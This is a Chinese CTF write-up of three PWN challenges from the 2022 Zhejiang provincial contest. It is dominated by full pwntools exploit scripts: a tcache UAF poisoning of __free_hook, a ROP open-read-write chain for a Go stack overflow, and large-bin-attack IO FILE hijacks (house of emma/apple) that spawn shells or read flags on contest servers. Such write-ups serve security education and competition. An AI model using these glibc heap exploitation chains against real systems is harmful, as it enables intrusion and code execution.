-
-
[原创]【2022浙江省赛】PWN题部分题解
-
2022-9-29 23:43 15268
-
初赛
babyheap
2.27的正常堆题
题目分析
题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell
成功截图
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | def exp(): global r global libc ##r=process('./babyheap') r = remote( "1.14.97.218" , 24360 ) libc = ELF( "./libc-2.27.so" ) ## leak_heap add( 0x7f ) add( 0x7f ) ##add(0x7f) ##add(0x7f) delet( 0 ) edit( 0 , "nameless" ) ##z() show( 0 ) r.recvuntil( "nameless" ) heapbase = u64(r.recv( 6 ).ljust( 8 , "\x00" )) - 0x10 log.success( "heapbase:" + hex (heapbase)) ##leak libc for i in range ( 0 , 7 ): edit( 0 ,p64( 0 ) * 2 ) delet( 0 ) ##z() show( 0 ) r.recvuntil( "\n" ) libcbase = u64(r.recv( 6 ).ljust( 8 , '\x00' )) - 0x3ebca0 log.success( "libcbase:" + hex (libcbase)) ## set_libc func free_hook = libcbase + libc.sym[ "__free_hook" ] system = libcbase + libc.sym[ "system" ] edit( 0 ,p64(free_hook)) add( 0x7f ) ##,"/bin/sh\x00") add( 0x7f ) ##,p64(system)) edit( 3 ,p64(system)) edit( 0 , "/bin/sh\x00" ) ##z() delet( 0 ) r.interactive() |
决赛
远程ld治好了的精神内耗
GO-MAZE-v4
一道go语言栈溢出
沙箱
保护
调试
发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:
然后紧接着应该是一个输入,测试测试有没有栈溢出,发现输入0x180个字节就报错了,并且rbp和rip是能被我们控制的
(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | def up(): r.sendline( "w" ) def down(): r.sendline( "s" ) def right(): r.sendline( "d" ) def exp(): global r global libc ##global elf r = process( './pwn' ) for i in range ( 5 ): down() for i in range ( 3 ): right() for i in range ( 3 ): up() for i in range ( 3 ): right() up() right() up() up() ##z() ## gadgets pop_rdi_ret = 0x4008f6 pop_rsi_ret = 0x40416f pop_rdx_ret = 0x51d4b6 pop_rax_ret = 0x400a4f syscall = 0x4025ab leave_ret = 0x4015cb bss = 0xAD1600 + 0x500 pd1 = flat( pop_rax_ret , 0 , pop_rdi_ret , 0 , pop_rsi_ret , bss , pop_rdx_ret , 0x210 , syscall , leave_ret ) ##z() r.sendlineafter( "flag\x00" , 0x178 * "a" + p64(bss) + pd1) flag_addr = bss + 0x200 pd = flat( 0 , pop_rax_ret , 2 , pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , pop_rdx_ret , 0 , syscall , pop_rax_ret , 0 , pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 , syscall ,pop_rax_ret , 1 , pop_rdi_ret , 1 , pop_rsi_ret , flag_addr , pop_rdx_ret , 0x210 , syscall , 0xdeadbeef ).ljust( 0x200 , "a" ) + "./flag\x00" r.sendline(pd) r.interactive() |
HodgePodge
省赛300分最难pwn题的含金量
版本
2.34魔改(不知道魔改了啥,本地调试的话直接用2204的2.35即可)
沙箱保护
保护
ida逆向
看看main:
很直接的菜单,_exit一眼house,但是不知道啥house,看看delet发现有UAF,show和edit都很常规
而add用的是calloc:
想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):
如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:
发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分
非预期exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 | # -*- coding: utf-8 -*- from platform import libc_ver from pwn import * from hashlib import sha256 import base64 context.log_level = 'debug' #context.arch = 'amd64' context.arch = 'amd64' context.os = 'linux' rol = lambda val, r_bits, max_bits: \ (val << r_bits % max_bits) & ( 2 * * max_bits - 1 ) | \ ((val & ( 2 * * max_bits - 1 )) >> (max_bits - (r_bits % max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & ( 2 * * max_bits - 1 )) >> r_bits % max_bits) | \ (val << (max_bits - (r_bits % max_bits)) & ( 2 * * max_bits - 1 )) def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z(): gdb.attach(r) def cho(num): r.sendlineafter( ">>" , str (num)) def add(sz,con): cho( 1 ) r.sendlineafter( "Size:" , str (sz)) r.sendafter( "content" ,con) ##r.sendlineafter("idx:",str(idx)) def delet(idx): cho( 2 ) r.sendlineafter( "idx:" , str (idx)) def edit(idx,con): cho( 3 ) r.sendlineafter( "idx" , str (idx)) r.sendafter( "Content" ,con) def show(idx): cho( 4 ) r.sendlineafter( "idx" , str (idx)) def exp(x): global r global libc ##global elf r = remote( "1.14.97.218" , 23023 ) ##r=process('./pwn') libc = ELF( "./libc.so.6" ) ## fengshui add( 0x418 , "nameless" ) add( 0x410 , "nameless" ) add( 0x410 , "ymnhymnh" ) add( 0x420 , "x1ngx1ng" ) add( 0x420 , "nameless" ) delet( 3 ) ##delet(2) ## leak_libcbase ##z() show( 3 ) r.recvuntil( "\n" ) libcbase = u64(r.recv( 6 ).ljust( 8 , "\x00" )) - 0x1f2cc0 log.success( "libcbase:" + hex (libcbase)) add( 0x430 , "nameless" ) ## set_libc_func l_main = 0x1f30b0 + libcbase free_hook = libcbase + libc.sym[ "__free_hook" ] stdout = libcbase + libc.sym[ "stdout" ] IO_str_jumps = libcbase + 0x1f3b58 - 0x38 fsbase = libcbase - 0x28c0 + x godget = libcbase + 0x146020 ##libcbase+0x1482ba setcontext = libcbase + 0x50bc0 ## leak_heapbase ##z() edit( 3 , "x1ngx1ng" + "nameless" ) ##z() show( 3 ) r.recvuntil( "nameless" ) heapbase = u64(r.recv( 6 ).ljust( 8 , "\x00" )) - 0xef0 log.success( "heapbase:" + hex (heapbase)) key = heapbase + 0x6b0 chunk1 = heapbase + 0x6b0 chunk2 = heapbase + 0xef0 ##z() ## set_orw open_addr = libcbase + libc.sym[ 'open' ] read_addr = libcbase + libc.sym[ 'read' ] write_addr = libcbase + libc.sym[ 'write' ] pop_rdi_ret = libcbase + 0x2daa2 pop_rsi_ret = libcbase + 0x37c0a pop_rdx_pop_rbx_ret = libcbase + 0x87729 ret = libcbase + 0xecd6c flag_addr = key + 0x310 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr ).ljust( 0x100 , '\x00' ) + './flag\x00' ##large bin attack 2 yang point gurad edit( 3 ,p64(l_main) * 2 + p64(heapbase + 0xef0 ) + p64(fsbase + 0x30 - 0x20 )) delet( 1 ) ##z() add( 0x430 , "nameless" ) ##z() edit( 3 ,p64(chunk1) + p64(l_main) + p64(chunk1) * 2 ) edit( 1 ,p64(l_main) + p64(chunk2) * 3 ) ##z() add( 0x410 , "nameless" ) ##large in attack 2 ORW edit( 3 ,p64(l_main) * 2 + p64(heapbase + 0xef0 ) + p64(stdout - 0x20 )) pd = 0xb0 * 'a' + p64( 0 ) pd = pd.ljust( 0xc8 , 'a' ) + p64(IO_str_jumps) pd = pd.ljust( 0xd0 , "a" ) + p64(key + 0x100 ) pd = pd.ljust( 0xe0 , "a" ) + p64(rol(key ^ godget, 0x11 , 64 )) pd = pd.ljust( 0xf8 , "a" ) + p64(key + 0x130 ) pd = pd.ljust( 0x140 , "a" ) + p64(setcontext + 61 ) pd = pd.ljust( 0x1c0 , "a" ) + p64(key + 0x210 ) + p64(ret) pd = pd.ljust( 0x200 , "a" ) + chain edit( 7 ,pd) delet( 7 ) edit( 0 , 0x410 * "a" + p64( 0x8000 )) ##z() cho( 1 ) r.sendlineafter( "Size:" , str ( 0x430 )) ##r.recvuntil("flag") flag = "flag{" + r.recvuntil( "\x00" ,drop = True ) print (flag) r.interactive() if __name__ = = '__main__' : while ( 1 ): i = - 0x1000 if i = = 0x1000 : break else : try : exp(i) except : continue ##setcontext and orw '''' orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall) orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(0xdeadbeef) pd=p64(gold_key)+p64(free_hook) pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00' pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd r.sendafter(">>",pd) flag=r.recvline() ''' ##orw ''' ##[+]: set libc func IO_file_jumps=0x1e54c0+libcbase IO_helper_jumps=0x1e4980+libcbase setcontext=libcbase+libc.sym['setcontext'] open_addr=libcbase+libc.sym['open'] read_addr=libcbase+libc.sym['read'] puts_addr=libcbase+libc.sym['puts'] pop_rdi_ret=libcbase+0x2858f pop_rsi_ret=libcbase+0x2ac3f pop_rdx_pop_rbx_ret=libcbase+0x1597d6 ret=libcbase+0x26699 ##[+]: large bin attack to reset TLS ##z() ##edit(4,p64(libcbase+0x1e4230)+) ##[+]: orw flag_addr = heap_base + 0x4770 + 0x100 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , flag_addr , puts_addr ).ljust(0x100,'\x00') + 'flag\x00' ''' ##banana ## b _dl_fini ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) ''''' rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr) link_4_addr = heap_base + 0xcd0 fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr) fake_link_map += p64(magic) + p64(ret) fake_link_map += p64(0) fake_link_map += rop_chain fake_link_map = fake_link_map.ljust(0xc8,'\0') fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP fake_link_map += p64(pop_rdi_ret) # RCX RIP fake_link_map = fake_link_map.ljust(0x100,'\x00') fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3 fake_link_map += p64(0x10) fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00') fake_link_map += p8(0x8) edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data edit(2,fake_link_map) ''' ##pig ## p _IO_flush_all_lockp '''' heap=heap+0x3b70 pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26) pd=pd.ljust(0xc8,b'\x00') pd+=p64(_IO_str_jumps) edit(3,pd) ''' |
关于如何获取远程的ld偏移
第一种办法是爆破,参考wjh大佬的博客:https://blog.wjhwjhn.com/archives/593/
第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:
预期解——house of apple
apple 常用的是IO_wfile_overflow,期望的是前面执行je
然后跳转到:
这里有啥好东西呢?发现有个和io_cookie_jumps一样的东西:
好家伙,就是只少一个point gurad,直接卡死我300分。。。可恶啊
夜深了,不想再调了,卷Glibc都是精神内耗。。。。
流程1
kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple
这个做法需要一个堆溢出:
UAF+size存数组可实现堆溢出:
假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi
流程2
puts触发->apple
exp(针对流程2)
(ps此exp非题目所给libc,题目给的是魔改的2.34版本的libc,我用的2204的libc在本地打的)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 | # -*- coding: utf-8 -*- from platform import libc_ver from pwn import * from hashlib import sha256 import base64 context.log_level = 'debug' #context.arch = 'amd64' context.arch = 'amd64' context.os = 'linux' rol = lambda val, r_bits, max_bits: \ (val << r_bits % max_bits) & ( 2 * * max_bits - 1 ) | \ ((val & ( 2 * * max_bits - 1 )) >> (max_bits - (r_bits % max_bits))) ror = lambda val, r_bits, max_bits: \ ((val & ( 2 * * max_bits - 1 )) >> r_bits % max_bits) | \ (val << (max_bits - (r_bits % max_bits)) & ( 2 * * max_bits - 1 )) def proof_of_work(sh): sh.recvuntil( " == " ) cipher = sh.recvline().strip().decode( "utf8" ) proof = mbruteforce( lambda x: sha256((x).encode()).hexdigest() = = cipher, string.ascii_letters + string.digits, length = 4 , method = 'fixed' ) sh.sendlineafter( "input your ????>" , proof) ##r=remote("123.57.69.203",7010)0xafa849b09b753ccd ##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z(): gdb.attach(r) def cho(num): r.sendlineafter( ">>" , str (num)) def add(sz,con): cho( 1 ) r.sendlineafter( "Size:" , str (sz)) r.sendafter( "content" ,con) ##r.sendlineafter("idx:",str(idx)) def delet(idx): cho( 2 ) r.sendlineafter( "idx:" , str (idx)) def edit(idx,con): cho( 3 ) r.sendlineafter( "idx" , str (idx)) r.sendafter( "Content" ,con) def show(idx): cho( 4 ) r.sendlineafter( "idx" , str (idx)) def exp(): global r global libc ##global elf r = remote( "124.222.96.143" , 10050 ) ##r=process('./pwn') libc = ELF( "./libc.so.6" ) ## fengshui add( 0x418 , "nameless" ) add( 0x410 , "nameless" ) add( 0x410 , "ymnhymnh" ) add( 0x420 , "x1ngx1ng" ) add( 0x420 , "nameless" ) delet( 3 ) ##delet(2) ## leak_libcbase ##z() show( 3 ) r.recvuntil( "\n" ) libcbase = u64(r.recv( 6 ).ljust( 8 , "\x00" )) - 0x219ce0 log.success( "libcbase:" + hex (libcbase)) add( 0x430 , "nameless" ) ## set_libc_func l_main = 0x219ce0 + libcbase free_hook = libcbase + libc.sym[ "__free_hook" ] stdout = libcbase + libc.sym[ "stdout" ] IO_wfile_jumps = libcbase + 0x2160c0 - 0x20 fsbase = libcbase - 0x28c0 godget = libcbase + 0x1675b0 ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; setcontext = libcbase + 0x53a30 ## leak_heapbase ##z() edit( 3 , "x1ngx1ng" + "nameless" ) ##z() show( 3 ) r.recvuntil( "nameless" ) heapbase = u64(r.recv( 6 ).ljust( 8 , "\x00" )) - 0xef0 log.success( "heapbase:" + hex (heapbase)) key = heapbase + 0x6b0 chunk1 = heapbase + 0x6b0 chunk2 = heapbase + 0xef0 ##z() ## set_orw open_addr = libcbase + libc.sym[ 'open' ] read_addr = libcbase + libc.sym[ 'read' ] write_addr = libcbase + libc.sym[ 'write' ] pop_rdi_ret = libcbase + 0x2a3e5 pop_rsi_ret = libcbase + 0x2be51 pop_rdx_pop_rbx_ret = libcbase + 0x90529 ret = libcbase + 0xf90e1 flag_addr = key + 0x300 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , 1 , pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret, 0x100 , 0 ,write_addr ).ljust( 0x100 , '\x00' ) + './flag\x00' ##large bin attack 2 apple edit( 3 ,p64(l_main) * 2 + p64(heapbase + 0xef0 ) + p64(stdout - 0x20 )) pd = '' pd = pd.ljust( 0x90 , "\x00" ) + p64(key + 0xa0 ) pd = pd.ljust( 0xb0 , '\x00' ) + p64( 0 ) pd = pd.ljust( 0xc8 , '\x00' ) + p64(IO_wfile_jumps) pd = pd.ljust( 0x130 , '\x00' ) + p64(key + 0x200 ) + p64(ret) pd = pd.ljust( 0x170 , '\x00' ) + p64(key + 0x180 ) pd = pd.ljust( 0x1d8 , '\x00' ) + p64(setcontext + 61 ) pd = pd.ljust( 0x1f0 , '\x00' ) + chain edit( 1 ,pd) delet( 1 ) edit( 0 , 0x410 * "a" + p64( 0x8000 )) ##z() cho( 1 ) r.sendlineafter( "Size:" , str ( 0x430 )) ##r.recvuntil("flag") ##flag="flag{"+r.recvuntil("\x00",drop=True) ##print(flag) r.interactive() if __name__ = = '__main__' : exp() ##setcontext and orw '''' orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall) orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(0xdeadbeef) pd=p64(gold_key)+p64(free_hook) pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00' pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd r.sendafter(">>",pd) flag=r.recvline() ''' ##orw ''' ##[+]: set libc func IO_file_jumps=0x1e54c0+libcbase IO_helper_jumps=0x1e4980+libcbase setcontext=libcbase+libc.sym['setcontext'] open_addr=libcbase+libc.sym['open'] read_addr=libcbase+libc.sym['read'] puts_addr=libcbase+libc.sym['puts'] pop_rdi_ret=libcbase+0x2858f pop_rsi_ret=libcbase+0x2ac3f pop_rdx_pop_rbx_ret=libcbase+0x1597d6 ret=libcbase+0x26699 ##[+]: large bin attack to reset TLS ##z() ##edit(4,p64(libcbase+0x1e4230)+) ##[+]: orw flag_addr = heap_base + 0x4770 + 0x100 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , flag_addr , puts_addr ).ljust(0x100,'\x00') + 'flag\x00' ''' ##banana ## b _dl_fini ## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) ''''' rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr) link_4_addr = heap_base + 0xcd0 fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr) fake_link_map += p64(magic) + p64(ret) fake_link_map += p64(0) fake_link_map += rop_chain fake_link_map = fake_link_map.ljust(0xc8,'\0') fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP fake_link_map += p64(pop_rdi_ret) # RCX RIP fake_link_map = fake_link_map.ljust(0x100,'\x00') fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3 fake_link_map += p64(0x10) fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00') fake_link_map += p8(0x8) edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data edit(2,fake_link_map) ''' ##pig ## p _IO_flush_all_lockp '''' heap=heap+0x3b70 pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26) pd=pd.ljust(0xc8,b'\x00') pd+=p64(_IO_str_jumps) edit(3,pd) ''' |
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界